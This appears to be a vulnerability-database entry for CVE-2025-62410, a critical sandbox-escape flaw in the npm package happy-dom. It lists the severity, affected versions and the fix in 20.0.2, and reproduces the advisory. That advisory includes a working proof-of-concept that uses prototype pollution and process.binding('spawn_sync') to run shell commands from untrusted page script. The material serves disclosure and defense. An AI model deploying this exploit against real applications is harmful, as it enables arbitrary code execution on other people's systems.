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CVE-2025-62410VulnerabilityPublished Updated

happy-dom's `--disallow-code-generation-from-strings` is not sufficient for isolating untrusted JavaScript

Affects happy-domSource GCVE Database

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Authoritative record:CVE-2025-62410· Critical 9.4

Not known to be exploited · CVSS 9.4 Critical : upgrade to 20.0.2 as a priority.

Data as of 19 Nov 2026, 02:13 UTC

CVSS 4.0 base score
9.4Critical
How severe the flaw is on the 0–10 CVSS scale.
Patch
Available – fixed in 20.0.2
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

Exploitation evidence

  1. Disclosed: evidence found.

    CVE published 15 Oct 2025

  2. Detectable: no evidence on record.

    No public nuclei template indexed

  3. Weaponized: no evidence on record.

    No public exploit code indexed in Metasploit or Exploit-DB

  4. Exploited in the wild: no evidence on record.

    Not in CISA KEV and no source reports exploitation

  5. Observed by OffSeq Mirage: no evidence on record.

    No attack traffic recorded by OffSeq Mirage sensors

A missing step is not evidence of safety. Sources: cve.org (opens in a new tab), the Metasploit, Exploit-DB and nuclei-templates index as of 18 Nov 2026.

What to do

Upgrade happy-dom to 20.0.2.

Affected software

ProductAffectedFixed in
npmhappy-domAffected
  • >=19.0.0 <20.0.2
Fixed in
  • 20.0.2

Check your own hosts for these packages with threat-finder (opens in a new tab), our free open-source scanner.

Description

### Summary The mitigation proposed in GHSA-37j7-fg3j-429f for disabling eval/Function when executing untrusted code in happy-dom does not suffice, since it still allows prototype pollution payloads. ### Details The untrusted script and the rest of the application still run in the same Isolate/process, so attackers can deploy prototype pollution payloads to hijack important references like "process" in the example below, or to hijack control flow via flipping checks of undefined property. There might be other payloads that allow the manipulation of require, e.g., via (univeral) gadgets (https://www.usenix.org/system/files/usenixsecurity23-shcherbakov.pdf). ### PoC Attackers can pollute builtins like Object.prototype.hasOwnProperty() to obtain important references at runtime, e.g., "process". In this way, attackers might be able to execute arbitrary commands like in the example below via spawn(). ```js import { Browser } from "happy-dom"; const browser = new Browser({settings: {enableJavaScriptEvaluation: true}}); const page = browser.newPage({console: true}); page.url = 'https://example.com'; let payload = 'spawn_sync = process.binding(`spawn_sync`);normalizeSpawnArguments = function(c,b,a){if(Array.isArray(b)?b=b.slice(0):(a=b,b=[]),a===undefined&&(a={}),a=Object.assign({},a),a.shell){const g=[c].concat(b).join(` `);typeof a.shell===`string`?c=a.shell:c=`/bin/sh`,b=[`-c`,g];}typeof a.argv0===`string`?b.unshift(a.argv0):b.unshift(c);var d=a.env||process.env;var e=[];for(var f in d)e.push(f+`=`+d[f]);return{file:c,args:b,options:a,envPairs:e};};spawnSync = function(){var d=normalizeSpawnArguments.apply(null,arguments);var a=d.options;var c;if(a.file=d.file,a.args=d.args,a.envPairs=d.envPairs,a.stdio=[{type:`pipe`,readable:!0,writable:!1},{type:`pipe`,readable:!1,writable:!0},{type:`pipe`,readable:!1,writable:!0}],a.input){var g=a.stdio[0]=util._extend({},a.stdio[0]);g.input=a.input;}for(c=0;c<a.stdio.length;c++){var e=a.stdio[c]&&a.stdio[c].input;if(e!=null){var f=a.stdio[c]=util._extend({},a.stdio[c]);isUint8Array(e)?f.input=e:f.input=Buffer.from(e,a.encoding);}}var b=spawn_sync.spawn(a);if(b.output&&a.encoding&&a.encoding!==`buffer`)for(c=0;c<b.output.length;c++){if(!b.output[c])continue;b.output[c]=b.output[c].toString(a.encoding);}return b.stdout=b.output&&b.output[1],b.stderr=b.output&&b.output[2],b.error&&(b.error= b.error + `spawnSync `+d.file,b.error.path=d.file,b.error.spawnargs=d.args.slice(1)),b;};' page.content = `<html> <script> function f() { let process = this; ${payload}; spawnSync("touch", ["success.flag"]); return "success";} this.constructor.constructor.__proto__.__proto__.toString = f; this.constructor.constructor.__proto__.__proto__.hasOwnProperty = f; // Other methods that can be abused this way: isPrototypeOf, propertyIsEnumerable, valueOf </script> <body>Hello world!</body></html>`; await browser.close(); console.log(`The process object is ${process}`); console.log(process.hasOwnProperty('spawn')); ``` ### Impact Arbitrary code execution via breaking out of the Node.js' vm isolation. ### Recommended Immediate Actions Users can freeze the builtins in the global scope to defend against attacks similar to the PoC above. However, the untrusted code might still be able to retrieve all kind of information available in the global scope and exfiltrate them via fetch(), even without prototype pollution capabilities. Not to mention side channels caused by the shared process/isolate. Migration to [isolated-vm](https://github.com/laverdet/isolated-vm) is suggested instead. Cris from the Endor Labs Security Research Team, who has worked extensively on JavaScript sandboxing in the past, submitted this advisory.

References

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